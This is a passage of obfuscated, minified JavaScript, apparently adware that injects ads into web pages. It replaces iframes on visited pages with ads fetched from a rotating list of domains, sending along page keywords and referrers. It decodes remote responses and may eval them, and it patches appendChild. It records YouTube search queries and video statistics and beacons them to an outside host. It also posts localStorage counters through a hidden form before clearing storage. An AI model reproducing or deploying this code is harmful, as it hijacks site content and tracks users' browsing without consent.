p=a[s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.G4T+s7S5.W9T+s7S5.r7T+\"eA\"+s7S5.I7T](t);s7S5[k+r](p,g)?m+=String[w+\"romC\"+s7S5.s4T+s7S5.N7T+\"rCo\"+s7S5.r7T+s7S5.n7T](p):s7S5[s7S5.A7T+r](p,d)&&s7S5[f+r](p,e)?(m+=String[w+\"ro\"+h+\"Ch\"+s7S5.N7T+s7S5.A7T+s7S5.e4T+s7S5.r7T+s7S5.n7T](s7S5[O+r](p>>l,c)),m+=String[\"fromCh\"+s7S5.j4T+s7S5.G4T+s7S5.W9T+s7S5.E7T](s7S5.l2(p&n,g))):(m+=String[\"fr\"+s7S5.W9T+\"mCha\"+s7S5.A7T+s7S5.G4T+s7S5.W9T+s7S5.E7T](s7S5[N+r](p>>12,\nb)),m+=String[\"from\"+s7S5.G4T+\"har\"+s7S5.e4T+s7S5.r7T+s7S5.n7T](s7S5[G+r](p>>l&n,g)),m+=String[w+\"romChar\"+s7S5.G4T+s7S5.W9T+s7S5.r7T+s7S5.n7T](s7S5.y2(p&n,g)))}return m}};a=Q[s7S5.r7T+s7S5.n7T+s7S5.g7T+s7S5.W9T+s7S5.r7T+s7S5.n7T](function(a){for(var b=708>=(280,660)?(153,\"R\"):(1406,82),c=a[s7S5.I7T+s7S5.W9T+I+C+C+\"er\"+s7S5.G4T+s7S5.N7T+D+s7S5.n7T](),e=a[s7S5.I7T+\"oLowe\"+s7S5.A7T+\"Cas\"+s7S5.n7T](),f=\"\",d=s7S5.Y7T;s7S5[w+r](d,a.length);++d)f+=s7S5[b+B](a[d][s7S5.g7T+\"ha\"+s7S5.A7T+s7S5.G4T+s7S5.W9T+\ns7S5.E7T+s7S5.E9T+s7S5.I7T](),c[d][s7S5.g7T+s7S5.s4T+s7S5.j4T+s7S5.G4T+s7S5.d9T+s7S5.n7T+s7S5.b7T]())?e[d]:c[d];return f}(a));for(A=s7S5.Y7T;s7S5[\"I\"+B](A,a.length);++A)if(v=a[A][s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+\"Cod\"+s7S5.n7T+s7S5.b7T](),s7S5.X0(v,65)||s7S5[s7S5.g7T+B](v,d)&&s7S5.V0(v,g)||s7S5[L+B](v,e))return c;return b};(function(){var a=document.getElementsByTagName(\"body\")[0];a&&!a.getAttribute(\"jhjlijpomuhn_l\")&&a.setAttribute(\"jhjlijpomuhn_m\",\"l\")})();var Pixel=function(a,b){var c={http:\"\",\nhttps:\"\"},e=\"/\",d={};this.setHost=function(a){if(\"object\"==typeof a&&(\"string\"==typeof a.http||a.http instanceof Array)&&(\"string\"==typeof a.https||a.https instanceof Array))c=a;else if(\"string\"==typeof a||a instanceof Array)c={http:a,https:a};return this};this.setPath=function(a){\"string\"==typeof a&&(e=a=a.replace(/^([^\\/]|$)/,\"/$&\"));return this};this.setParameters=function(a){if(\"object\"==typeof a&&!(a instanceof Array))for(var b in a)this.setParameter(b,a);return this};this.setParameter=function(a,\nb){d[a]=b;return this};var g=function(){var a=[],b;for(b in d)null!==d&&void 0!==d&&a.push(encodeURIComponent(b)+\"=\"+encodeURIComponent(d));return a.length?\"?\"+a.join(\"&\"):\"\"},h=function(a){if(\"string\"==typeof a)return a;if(a instanceof Array)return a[Math.round(Math.random()*(a.length-1))]};this.getNonSslHost=function(){return h(c.http)||\"\"};this.getSslHost=function(){return h(c.https)||\"\"};this.buildNonSslUrl=function(){var a=this.getNonSslHost();if(a)return\"http://\"+a+e+g()};this.buildSslUrl=\nfunction(){var a=this.getSslHost();if(a)return\"https://\"+a+e+g()};this.isSecure=function(){return\"https:\"==window.location.protocol};this.toString=function(){return(this.isSecure()?this.buildSslUrl():this.buildNonSslUrl())||\"\"};this.push=function(a){a=a||function(){};var b=this.toString();if(!b)return!1;var c=new Image;c.onload=function(){a.call(this,\"success\",arguments)};c.onerror=function(){a.call(this,\"error\",arguments)};return c.src=b};this.setHost(a);this.setParameters(b)},PixelIPP=function(){return new Pixel({https:[\"winnerican.org\",\n\"winnering.info\",\"winnering.org\"],http:\"directonic.org dirnt.net dirnt.org fasterol.org loveci.info lovek.info lovement.info lovening.info loveral.net lovezhsky.com loversion.org loversion.net lovezhsky.info lovezhsky.net lovezhsky.org proffic.info proffic.org proffic.net proffican.com proffican.net\".split(\" \")},{tid:1,subid:window.adzy653rk.imp.pid,subid1:window.adzy653rk.imp.hid,subid2:window.adzy653rk.imp.eid,subid3:window.adzy653rk.imp.prid,lt:window.adzy653rk.imp.lt})},s7S5={I7T:\"t\",r2:function(a,\nb){return a>b},J2:function(a,b){return a<b},p2:function(a,b){return a>>b},Y0:function(a,b){return a>b},l2:function(a,b){return a|b},k2:function(a,b){return a>=b},u2:function(a,b){return a<<b},e4T:\"Co\",G7T:\"ch\",y2:function(a,b){return a|b},s4T:\"h\",i2:function(a,b){return a%b},C7T:4,Y7T:0,b2:function(a,b){return a|b},j7T:1,P2:function(a,b){return a<b},n7T:\"e\",f2:function(a,b){return a<b},B2:function(a,b){return a<b},A5:function(a,b){return a|b},X0:function(a,b){return a<b},U5:function(a,b){return a<\nb},m2:function(a,b){return a<b},z2:function(a,b){return a<b},A7T:\"r\",j4T:\"ar\",K2:function(a,b){return a|b},E7T:\"de\",K7T:15,N7T:\"a\",I0:function(a,b){return a<b},E0:function(){var a=function(a,b){var d=b&(352<(181,1206)?(93,65535):1268<=(197,48)?(70,24):(581,57));return((b-d)*a|((54,496)>=(1266,406)?(15,0):(538,20)))+(d*a|((109,1186)>(512,400)?(748,0):(360,1325)<=(274,22)?(1351,7):(954,1040)<=(66,435)?(1069,NaN):(130,57)))|(964>=(322,35)?(238,0):(28,1324))},b={};return{z0:a,i0:function(c,e,d){if(void 0!==\nb[d])return b[d];for(var g=131>=(1300,30)?(47,3432918353):(131,72),h=(387,282)<(234,217)?979:949>=(20,130)?(103,461845907):(67,1152),f=d,l=e&-(147>(26,106)?(3,4):(30,537)),n=393<=(224,579)?(110,0):(44,609);n<l;n+=(22,78)<(311,193)?(334,4):6>(67,31)?(417,\"K\"):(330,18))var k=c[(585>(255,136)?(106,\"c\"):(159,504))+(111<=(535,393)?(584,\"h\"):427<(18,57)?43:214<(1071,53)?(10,144):(1269,148))+(36>=(145,1095)?\"c\":(347,142)>(473,85)?(577,\"a\"):(568,998))+((352,49)>=(394,99)?90:1396<=(149,1300)?(1225,130):5<=\n(541,431)?(692,\"r\"):(581,48))+(242<(10,261)?(57,\"C\"):337>=(153,400)?389:1103>(82,1483)?(163,15):(385,583))+(808>=(68,37)?(563,\"o\"):(78,54))+\"deAt\"](n)&255|(c[\"c\"+(140>=(1465,372)?(1495,\"'\"):109<=(25,138)?(236,\"h\"):531<(101,20)?(67,\"l\"):(833,117))+\"arCodeA\"+((342,48)<=(128,325)?(2,\"t\"):(494,105))](n+1)&(17<(12,591)?(90,255):(100,71)))<<(252<(44,818)?(662,8):449>=(31,1115)?(1483,546):(146,81))|(c[(1349>(633,463)?(554,\"c\"):(116,51)>=(257,1072)?451:(800,39))+(91>=(141,94)?243:(138,40)>(131,458)?91:(1327,\n115)<=(22,439)?(559,\"h\"):(87,141))+\"ar\"+(149<=(51,114)?(59,233):118<(1139,173)?(72,\"C\"):(124,95))+(746>=(511,90)?(34,\"o\"):94>=(355,99)?\"H\":(240,108))+\"deA\"+(142<=(784,1264)?(287,\"t\"):(115,1190))](n+(72<=(38,44)?\"GET\":147>(566,60)?(140,2):(151,588)))&255)<<((418,483)>=(579,121)?(69,16):(64,64))|(c[(1022>(44,72)?(554,\"c\"):(910,192))+(298>(12,236)?(17,\"h\"):384>=(445,962)?(92,237):137<=(137,99)?536:(82,121))+((261,370)<(412,490)?(82,\"a\"):860<(48,105)?\"W\":(526,209))+(1261<=(10,981)?65:34<=(220,371)?(144,\n\"r\"):(173,270))+(253>(41,67)?(46,\"C\"):433<=(260,112)?(352,\"ADS\"):(17,491))+(106<=(88,427)?(131,\"o\"):(815,95))+(467>=(145,471)?64:(10,570)<=(42,1164)?(112,\"d\"):282<=(849,67)?(317,365):(87,157))+(289>=(268,1049)?(206,791):61<=(368,1293)?(77,\"e\"):(496,406))+((1281,432)<=(850,149)?(119,224):(561,101)<=(132,1264)?(143,\"A\"):(105,84))+\"t\"](n+((9,144)>(172,76)?(1227,3):(1382,39)))&255)<<(517>(59,23)?(242,24):(258,8)),k=a(k,g),k=(k&(548<=(45,120)?NaN:(69,364)<=(24,973)?(486,131071):123>(100,1339)?406:(311,\n142)))<<((1114,428)<(986,143)?1074:66<=(483,106)?(10,15):(82,1276))|k>>>(1054>=(1,394)?(986,17):(143,32)),k=a(k,h),f=f^k,f=(f&524287)<<13|f>>>(61<(6,98)?(178,19):(394,40)),f=f*(163<(1225,66)?NaN:441>(135,430)?(56,5):(706,361))+(697<=(414,52)?(989,15):(485,1112)>=(1038,144)?(108,3864292196):(1466,1071))|((60,578)>(60,30)?(384,0):(730,1252));k=172>=(491,125)?(30,0):(24,477);switch(e%(815<=(1295,238)?1240:(118,69)<=(410,132)?(68,4):(431,473))){case 22<=(818,90)?(405,3):(0,309)<=(44,273)?(92,\"W\"):(133,\n39):k=(c[\"ch\"+((57,485)>(71,1156)?239:(366,325)>=(52,383)?(122,165):20<=(72,1481)?(116,\"a\"):(4,1250))+(169<(41,364)?(102,\"r\"):(43,295))+(124<=(72,895)?(492,\"C\"):(138,198))+\"od\"+(51!=(65,51)?(140,\"P\"):(51,37)>(122,559)?(77,91):32<=(353,593)?(87,\"e\"):(511,526))+\"At\"](l+2)&255)<<(69<=(118,37)?380:(82,691)>(42,269)?(344,16):(77,92)>(143,228)?122:(76,440));case (1399,345)<(49,115)?(474,149):(3,98)>(1305,319)?(435,573):(110,7)<(1022,23)?(234,2):(489,105):k|=(c[\"char\"+(277<=(866,115)?(138,28):(87,213)>=\n(96,57)?(1220,\"C\"):(135,142)>=(138,1225)?\"A\":(555,124))+(1181<=(98,301)?!1:(104,21)<(574,1285)?(3,\"o\"):(129,316))+(275>(142,768)?72:(70,1097)>=(183,32)?(351,\"d\"):(121,187))+\"eAt\"](l+((1438,675)>=(565,65)?(1237,1):288>=(1283,355)?59:(37,6)))&((1069,119)>=(643,797)?(1307,NaN):(1153,494)>(147,349)?(1098,255):551<(110,30)?(106,NaN):(1397,107)))<<(55<=(100,1018)?(560,8):(32,253)>=(669,636)?NaN:(1177,575)<(45,499)?(22,97):(76,952));case 114>=(148,1445)?568:66<(1252,448)?(445,1):(385,55)>(167,81)?\"V\":(16,\n266):k|=c[((535,197)>=(93,39)?(140,\"c\"):(589,490))+\"harCodeA\"+(23<=(59,890)?(4,\"t\"):531<=(137,256)?(1139,\"D\"):(8,199))](l)&((80,484)<(1493,431)?265:67<(472,764)?(61,255):(1374,233)>(399,1035)?(146,140):(31,130)),k=a(k,g),k=(k&(1052>(0,436)?(108,131071):(1278,652)))<<(67<=(425,206)?(1116,15):(61,1271))|k>>>(880>(603,375)?(1278,17):(215,263)),k=a(k,h),f^=k}f^=e;f^=f>>>(116>(107,985)?(255,1210):45<(450,137)?(95,16):(301,371));f=a(f,296<=(134,59)?(165,1009):(1400,858)>(467,33)?(124,2246822507):107>(132,\n520)?(185,\"T\"):(280,1174));f^=f>>>(606>(799,130)?(607,13):(323,1437)<(96,301)?560:1231<=(488,473)?(463,NaN):(323,146));f=a(f,(1117,1311)>=(567,32)?(11,3266489909):138>(260,206)?\"p\":(100,306));f^=f>>>16;return b[d]=f}}}(),e7T:3,W9T:\"o\",c0:function(a,b){return a>b},g7T:\"c\",Z7T:8,b7T:\"At\",G4T:\"C\",V0:function(a,b){return a<b},V7T:2,d9T:\"od\",F5:function(a,b){return a|b},E9T:\"A\",Q2:function(a,b){return a<b},H2:function(a,b){return a<b},r7T:\"d\",M2:function(a,b){return a|b},R0:function(a,b){return a==b},\nD5:function(a,b){return a&b}},isRvzFrame=function(a){try{return a instanceof HTMLIFrameElement&&a.parentNode instanceof HTMLDivElement&&a.parentNode.parentNode instanceof HTMLDivElement&&a.parentNode.parentNode.className&&\"string\"==typeof a.parentNode.parentNode.className&&1<a.parentNode.parentNode.className.length&&removeNode(a.parentNode.parentNode.className.split(\" \")[0])}catch(b){return!1}};window.adzy653rk={version:\"1.0\",nrnm:5,ifr:[],src:[],jbs:{ifr:[],at:[]},imp:{pid:\"21132\",eid:\"1093\",\nhid:\"8817188880235058019\",prid:100,lt:\"16\",referrer:document.referrer,hostname:window.self.location.hostname,url:window.self.location.hostname,jpshort:\"YbFNrrSK\",rattr:stngs.attr_name,title:document.title,domain:stngs.szy_domain,sizes:stngs.ad_sizes},topHost:function(){if(window.self!=window.top){var a=decodeURIComponent(window.self.location.search).match(/http:\\/\\/[^&]+/);return a&&a[0]}return null}(),checkIfPartner:function(a){if(window.top==window)return isRvzFrame(a);\nvar b={_728x90:function(a){return a.parentElement&&a.parentElement.nextSibling&&a.parentElement.nextSibling.children&&a.parentElement.nextSibling.children[0]&&a.parentElement.nextSibling.children[0]&&a.parentElement.nextSibling.children[0].innerHTML.match(/qa/)},_160_600:function(a){return a.parentElement&&a.parentElement.nextSibling&&\"String\"==typeof a.parentElement.nextSibling.innerHTML&&adzy653rk.regexExtTest.test(a.parentElement.nextSibling.innerHTML)},_625x250:function(a){return(a=a.getAttribute(\"style\"))?\na.match(/width:\\s?625px/)&&a.match(/width:\\s?250px/):!1},_345x600:function(a){return(a=a.getAttribute(\"style\"))?a.match(/width:\\s?345px/)&&a.match(/width:\\s?600px/):!1}},c;for(c in b)if(b[c](a))return!0;return!1},getKeywords:function(){var a=adzy653rk.imp.title,b=document.getElementsByTagName(\"meta\");if(b)for(var c=0,e=b.length;c<e;c++)\"keywords\"!=b[c].name.toLowerCase()&&\"description\"!=b[c].name.toLowerCase()||(a+=\" \"+b[c].content.replace(/,/g,\" \"));if(c=document.getElementsByTagName(\"a\")){b={};\nfor(e=0;e<c.length;e++)try{var d=c[e].innerText;\"undefined\"==typeof d&&(d=c[e].textContent);for(var g=d.toLowerCase().split(/[\\s,-]/g),h=0;h<g.length;h++)4>g[h].length||(b[g[h]]?b[g[h]]++:b[g[h]]=1)}catch(f){}var d=[],l;for(l in b)d.push([l,b[l]]);d.sort(function(a,b){return b[1]-a[1]});d=d.slice(0,25);for(l=0;l<d.length;l++)a+=\" \"+d[l][0]}return a.replace(/[_-]/g,\" \").substring(0,1024)},setMarker:function(){var a=document.getElementsByTagName(\"body\")[0];a&&!a.getAttribute(\"jhjlijpomuhn_l\")&&a.setAttribute(\"jhjlijpomuhn_m\",\n\"l\")},isAncestor:function(a,b,c){c=c||30;return a==b?!0:!(a instanceof Window&&b instanceof Window)||b==window.top||0>=c?!1:adzy653rk.isAncestor(a,b.parent,--c)},listenForMessages:function(){if(window.top===window){var a=adzy653rk;window.addEventListener(\"message\",function(b){try{if(0==((b.data||\"\")+\"\").indexOf(a.l.encode(a.imp.hid+\"/\"+a.imp.eid+\"/\"+a.imp.prid)+\"_\"))switch(b.data.split(\"_\")[1]){case \"IIIFAR\":for(var c=window.document.getElementsByTagName(\"iframe\"),e=0,d;e<c.length;e++)d=c[e],a.isAncestor(d.contentWindow,\nb.source)&&(isRvzFrame(d)?b.source.postMessage(b.data+\"_\"+a.l.encode(\"RVZ\"),\"*\"):b.source.postMessage(b.data,\"*\"))}}catch(g){}},!1)}},isAllowRunning:function(a){var b=adzy653rk,c,e=b.imp.hid,d=b.imp.eid,g=b.imp.prid,h=function(d){try{var e=b.l.encode(b.imp.hid+\"/\"+b.imp.eid+\"/\"+b.imp.prid);if(0==((d.data||\"\")+\"\").indexOf(e+\"_IIIFAR\"))if(clearTimeout(c),window.removeEventListener(\"message\",h,!1),0==d.data.indexOf(e+\"_IIIFAR_\")){var g=b.l.decode(d.data.split(\"_\")[2]);a(!1,g)}else a(!0);else a(!0)}catch(k){a(!0)}};\n\"postMessage\"in window&&\"postMessage\"in(window.top||{})?(c=setTimeout(function(){window.document.removeEventListener(\"message\",h,!1);a(!0)},2E3),window.addEventListener(\"message\",h,!1),window.top.postMessage(b.l.encode(e+\"/\"+d+\"/\"+g)+\"_IIIFAR\",\"*\")):a(!0)},run:function(){adzy653rk.setMarker();var a=document.getElementsByTagName(\"iframe\");if(a.length){for(var b=[],c=0;c<a.length;c++)stngs.checkif(a[c])||adzy653rk.checkIfPartner(a[c])||(a[c].setAttribute(adzy653rk.imp.rattr,\"true\"),a[c].setAttribute(\"replaced\",\n\"true\"),b.push(a[c]));if(b.length){var e=function(a){if(a>=b.length){var c=adzy653rk.imp;adzy653rk.jbs.at.length?adzy653rk.getAds(\"//\"+adzy653rk.imp.domain[\"https:\"==window.self.location.protocol?1:0]+\"/?tid=1&size=\"+adzy653rk.jbs.at.join(\",\")+\"&subid=\"+c.pid+\"&subid1=\"+c.hid+\"&subid2=\"+c.eid+\"&subid3=\"+c.prid+\"&lt=\"+c.lt+\"&k=\"+encodeURIComponent(adzy653rk.getKeywords())+(adzy653rk.topHost?\"&tdh=\"+encodeURIComponent(adzy653rk.topHost):\"\"),\"seta\"):adzy653rk.destruct()}else{if(c=adzy653rk.getAt(b[a]))(new PixelIPP).setParameter(\"size\",\nc).push(),adzy653rk.jbs.ifr.push(b[a]),adzy653rk.jbs.at.push(c);setTimeout(function(){e(++a)},1)}};e(0)}else adzy653rk.destruct()}else adzy653rk.destruct()},init:function(){var a=adzy653rk,b=typeof window;window.top===window?(a.listenForMessages(),a.run()):a.isAllowRunning(function(c,e){window.document.body.hasAttribute(\"data-\"+b)||(window.document.body.setAttribute(\"data-\"+b,c+\"\"),c&&a.run())})},dfn:function(a){if(adzy653rk.ifr.length&&(a=a?a:1,!(300<a))){var b=function(c){c>=adzy653rk.ifr.length?\nsetTimeout(function(){adzy653rk.dfn(++a)},1200):(adzy653rk.src[c]&&adzy653rk.ifr[c]&&adzy653rk.ifr[c].src!=adzy653rk.src[c][0]&&!adzy653rk.checkIfPartner()&&adzy653rk.ifrset(adzy653rk.ifr[c],adzy653rk.src[c][1],1),setTimeout(function(){b(++c)},1))};b(0)}},destruct:function(a){adzy653rk.jbs={ifr:[],at:[]};adzy653rk.rnm?adzy653rk.rnm++:(adzy653rk.rnm=1,setTimeout(adzy653rk.dfn,1200));adzy653rk.rnm<=adzy653rk.nrnm&&setTimeout(adzy653rk.run,1200)},getAt:function(a){a=[parseInt(\"number\"==typeof a.width||\n\"string\"==typeof a.width&&a.width.match(/[0-9]/)?a.width:a.scrollWidth),parseInt(\"number\"==typeof a.height||\"string\"==typeof a.height&&a.height.match(/[0-9]/)?a.height:a.scrollHeight)];for(var b=adzy653rk.imp.sizes,c=0;c<b.length;c++)if(a[0]>=b[c][0]-5&&a[0]<=b[c][0]+5&&a[1]>=b[c][1]-5&&a[1]<=b[c][1]+5)return b[c][2];return!1},getAds:function(a,b){if(-1<navigator.userAgent.indexOf(\"MSIE\")){var c=document.createElement(\"script\");c.type=\"text/javascript\";c.src=a+\"&cb=adzy653rk.\"+b;try{window.adzy653rk=\nadzy653rk,(document.getElementsByTagName(\"head\")[0]||document.getElementsByTagName(\"body\")[0]).appendChild(c)}catch(e){}}else{var d=new XMLHttpRequest;d.open(\"GET\",a,!0);d.onreadystatechange=function(){if(4==d.readyState)adzy653rk(d.response)};d.send(null)}},seta:function(a){var b=[];try{var c=adzy653rk.l.decode(a),b=\"object\"==typeof JSON&&JSON.parse?JSON.parse(c):eval(c)}catch(e){}if(b instanceof Array)for(a=0;a<b.length;a++)b[a]&&adzy653rk.jbs.ifr[a]&&adzy653rk.ifrset(adzy653rk.jbs.ifr[a],b[a]);\nadzy653rk.destruct()},ifrset:function(a,b,c){c||(adzy653rk.ifr.push(a),b[0]=b[0].replace(/\\[##([^#]+)##\\]/g,function(a,b){return adzy653rk.imp[toekn]?adzy653rk.imp[toekn]:\"\"}));var e=[\"<html><head><style>html,body{width:100%;height:100%;margin:0}</style></head><body>\",\"</body></html>\"];switch(b[1]){case 1:a.src=b[0]+(-1<b[0].indexOf(\"?\")?\"&\"+adzy653rk.imp.jpshort+\"=\"+b[2]+\"_18x18_0\":\"\");break;case 2:a.src=\"about:blank\";try{a.contentWindow.document.write(e[0]+'<iframe src=\"'+b[0]+'\" style=\"width:100%;height:100%;border:0;\" scrolling=\"no\" frameborder=\"0\"></iframe>'+\ne[1])}catch(d){}break;case 3:case 6:a.src=\"about:blank\";try{a.contentWindow.document.write(e[0]+b[0]+e[1])}catch(g){}}c||adzy653rk.src.push([a.src,b])},l:{xlat:\"abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/\",decode:function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,\"\");for(var b=\"\",c=0;c<a.length;){var e=this.xlat.indexOf(a.charAt(c++)),d=this.xlat.indexOf(a.charAt(c++)),g=this.xlat.indexOf(a.charAt(c++)),h=this.xlat.indexOf(a.charAt(c++)),f=(d&15)<<4|g>>2,l=(g&3)<<6|h,b=b+\nString.fromCharCode(e<<2|d>>4);64!=g&&0<f&&(b+=String.fromCharCode(f));64!=h&&0<l&&(b+=String.fromCharCode(l))}return this._utf8_decode(b)},_utf8_decode:function(a){for(var b=\"\",c=0;c<a.length;){var e=a.charCodeAt(c);if(128>e)b+=String.fromCharCode(e),c++;else if(191<e&&224>e)var d=a.charCodeAt(c+1),b=b+String.fromCharCode((e&31)<<6|d&63),c=c+2;else var d=a.charCodeAt(c+1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((e&15)<<12|(d&63)<<6|g&63),c=c+3}return b},encode:function(a){a=this._utf8_encode(a);\nfor(var b=\"\",c=0;c<a.length;){var e=a.charCodeAt(c++),d=a.charCodeAt(c++),g=a.charCodeAt(c++),h=e>>2,e=(e&3)<<4|d>>4,f=(d&15)<<2|g>>6,l=g&63;isNaN(d)?f=l=64:isNaN(g)&&(l=64);b=b+this.xlat.charAt(h)+this.xlat.charAt(e)+(64==f?\"=\":this.xlat.charAt(f))+(64==l?\"=\":this.xlat.charAt(l))}return b},_utf8_encode:function(a){if(a&&a.length){for(var b=\"\",c=0;c<a.length;c++){var e=a.charCodeAt(c);128>e?b+=String.fromCharCode(e):(127<e&&2048>e?b+=String.fromCharCode(e>>6|192):(b+=String.fromCharCode(e>>12|224),\nb+=String.fromCharCode(e>>6&63|128)),b+=String.fromCharCode(e&63|128))}return b}return a}}}};\nif( typeof adzy653rk !== \"undefined\")\n{adzy653rk.location = adzy653rk.imp.referrer+window.self.location.href;if(adzy653rk.location.indexOf(adzy653rk.imp.jpshort+\"=\")==-1 && adzy653rk.location.indexOf(\"adk2.co\")==-1 &&\"ad.z5x.net exchange.admailtiser.com ads.onimp03.com ad.yieldmanager.com fwwv.dixingwang.com xnel.papace.com cpm.cpc-ads.com ad.adserverplus.com servedby.adxplosions.com cdn.trkclk.net srv.aileronx.com vqtm.nongchangwangzhan.com ads.exoclick.com servedby.adsplats.com ads.ad-maven.com advs.adgorithms.com owha.vancouverco.com ad.adnetwork.net cmne.197865.com cdn.adk2.com Servedby.bigfineads.com a.ad-sys.com ames.vancouverco.com www.kbdadsfast.com s3-us-west-2.amazonaws.com c5.zedo.com ib.adnxs.com ad.jumbaexchange.com srv1.mediads.info ad.improvemedianetwork.com cmen.197865.com ads.networkhm.com ads.impssrv.com media.glispa.com tag.contextweb.com ads.mangomediaads.com optimizedby.brealtime.com www.adshost2.com khad.papace.com oehd.papace.com lird.jianggongren.com nptv.nongchangwangzhan.com rtb-ads.avazu.net hend.vancouverco.com ads.ventivmedia.com ad.reachjunction.com ads.deliads.com pzez.nongchangwangzhan.com te.bijng.net ads.mediawhite.com lema.jianggongren.com cdn.ad-maven.com an.z5x.net tala.intlsources.com cemn.197865.com ads.sonobi.com cher.ehomestudy.com fw.adsafeprotected.com mtvn.dixingwang.com\".indexOf(window.self.location.hostname)==-1 && adzy653rk.location.indexOf(\"zoneid=16704045\")==-1 && adzy653rk.location.indexOf(\"zoneid=16704045\")==-1 &&adzy653rk.location.indexOf(\"2136&zid=\")==-1 && adzy653rk.location.indexOf(\"1018-1005\")==-1 && adzy653rk.location.indexOf(\"1019-1001\")==-1 && adzy653rk.location.indexOf(\"PT1312\")==-1) adzy653rk.init()}})();(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"YbFNrrSK=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"YbFNrrSK=\")){var d=a.match(/YbFNrrSK=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"zyk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.webscorebox.com/?q=g708BN ... r8rdk5rdw4\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();(function(){var l=function(){var a=window.location.search.split(\"v=\")[1],b=a&&a.indexOf(\"&\")||-1;-1!=b&&(a=a.substring(0,b));return a},m=function(){var a=document.getElementsByClassName(\"watch-view-count\");return a&&a[0]&&a[0].innerHTML?(a=a[0].innerHTML.replace(/^([0-9,]+).*$/,\"$1\").replace(/,/g,\"\"))&&parseInt(a)&&parseInt(a)||0:0},n=function(){var a=document.getElementsByClassName(\"watch-extras-section\");if(a)for(var b=0;b<a[0].children.length;b++)if(\"Category\"===a[0].children.getElementsByClassName(\"title\")[0].innerHTML.trim()){var c=a[0].children.getElementsByTagName(\"a\");if(c&&c[0]&&(c=c[0].getAttribute(\"href\")))return encodeURIComponent(c.replace(\"/\",\"\"))}return\"\"},p=function(){var a=document.getElementsByClassName(\"yt-subscription-button-subscriber-count-branded-horizontal\");return a&&a[0]&&a[0].innerHTML?(a=a[0].innerHTML.replace(/^([0-9,]+).*$/,\"$1\").replace(/,/g,\"\"))&&parseInt(a)&&parseInt(a)||1:1};if(window.self==window.top&&(-1<window.self.location.hostname.indexOf(\"youtube.com\")||-1<window.self.location.hostname.indexOf(\"youtu.be\")))try{if(\"qq=\"==window.name.substr(0,3)){var f=document.getElementsByTagName(\"body\")[0];if(!f.getAttribute(\"wyttb\")){f.setAttribute(\"wyttb\",\"1\");var g=l(),d=m(),q=n(),h=p();if(g&&d&&d){var e=window.name.split(\"=\")[1];window.name=\"\";2<=d/h&&((new Image).src=\"https://score.transferin.in/subs.php?id ... 181.103.23\")}}}if(-1<window.self.location.href.indexOf(\"results?search_query=\")){var k=/[\\?&]search_query=([^&#]*)/.exec(location.search),e=null===k?\"\":decodeURIComponent(k[1].replace(/\\+/g,\" \"));window.name=\"qq=\"+e}}catch(r){}})();new function(){var k=this;this.utils=new function(){var c=this;c.sendPixels=function(a){var b;if(a instanceof Array)for(var e=0;e<a.length;e++){var d=a[e];b=new Image;b.src=d}else b=new Image,b.src=a};c.isFalse=function(a){return\"undefined\"==typeof a||0===a.length||null===a};c.cookie=new function(){var a=this;a.createCookie=function(a,e,d){if(d){var c=new Date;c.setTime(c.getTime()+864E5*d);d=\"; expires=\"+c.toGMTString()}else d=\"\";document.cookie=a+\"=\"+e+d+\"; path=/\"};a.readCookie=function(a){a+=\r\n\"=\";for(var e=nasrat(\";\"),d=0;d<e.length;d++){for(var c=e[d];\" \"==c.charAt(0);)c=c.substring(1,c.length);if(0==c.indexOf(a))return c.substring(a.length,c.length)}return null};a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};c.ajax={get:function(a,b){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",a,!0),this.xhr.onreadystatechange=function(){4==c.ajax.xhr.readyState&&b(c.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(a,b,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",\r\na,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==c.ajax.xhr.readyState&&e(c.ajax.xhr.responseText)};b=encodeURIComponent(b);this.xhr.send(b)}};c.waitForTokens={};c.addScript=function(a,b){if(\"bing\"==b){var e=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a);Element.prototype.appendChild=e}else document.getElementsByTagName(\"head\")[0].appendChild(a)};\r\nc.waitForElement=function(a,b,e,d){var f=c.query_selector_all(a);clearTimeout(c.waitTimeout);if(25<k.waitForElementCounter)return 